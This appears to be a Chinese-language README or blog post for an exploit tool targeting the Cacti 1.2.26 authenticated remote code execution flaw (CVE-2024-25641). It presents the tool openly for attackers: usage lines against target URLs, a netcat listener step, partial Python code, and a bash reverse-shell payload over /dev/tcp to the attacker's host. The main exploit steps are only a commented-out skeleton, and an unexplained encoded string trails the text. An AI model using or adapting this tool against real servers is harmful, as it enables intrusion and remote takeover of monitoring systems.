Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

3 阅读3分钟

Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。

功能特性

  • 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
  • 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
  • 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
  • 可选详细输出:提供 --verbose 参数,用于输出更详细的执行过程信息,便于调试和分析。
  • 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。

安装指南

系统要求

  • Python 3.x
  • 目标系统需要运行Cacti 1.2.26版本

依赖项

在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:

pip install requests beautifulsoup4 cryptography

获取工具

克隆此仓库到本地:

git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641

使用说明

基本用法

python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444

参数说明

参数描述是否必需
--urlCacti应用的根URL
--user用于登录的用户名
--password用于登录的密码
--lhost接收反向Shell的本地主机IP
--lport接收反向Shell的本地端口
--verbose启用详细输出模式

典型使用场景

  1. 攻击者设置监听器:

    nc -lvnp 4444
    
  2. 攻击者运行漏洞利用脚本:

    python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose
    
  3. 如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。

核心代码

以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。

版本检测函数

import requests

def check_version(url_to_check):
    """
    检查目标URL上的Cacti版本是否为1.2.26
    """
    try:
        r = requests.get(url_to_check)
        response = r.text

        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    except Exception as e:
        print(f"[-] Error checking version: {e}")

命令行参数解析

import argparse

def parse_arguments():
    """
    解析并返回命令行参数
    """
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    return p.parse_args()

随机字符串生成函数

import string
import random

def get_random_string(length):
    """
    生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
    """
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

主函数逻辑框架

# ... 导入必要的模块 ...

if __name__ == '__main__':
    # 解析参数
    parser = parse_arguments()
    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 1. 检查版本
    changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
    check_version(changelog_url)

    # 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
    # session = login(url, username, password)

    # 3. 构造并发送恶意请求,触发漏洞
    # 例如,利用文件上传或参数注入漏洞

    # 4. 生成反向Shell Payload
    # payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # 5. 执行利用,并等待Shell连接
    # execute_exploit(session, url, payload)
    print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")

6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd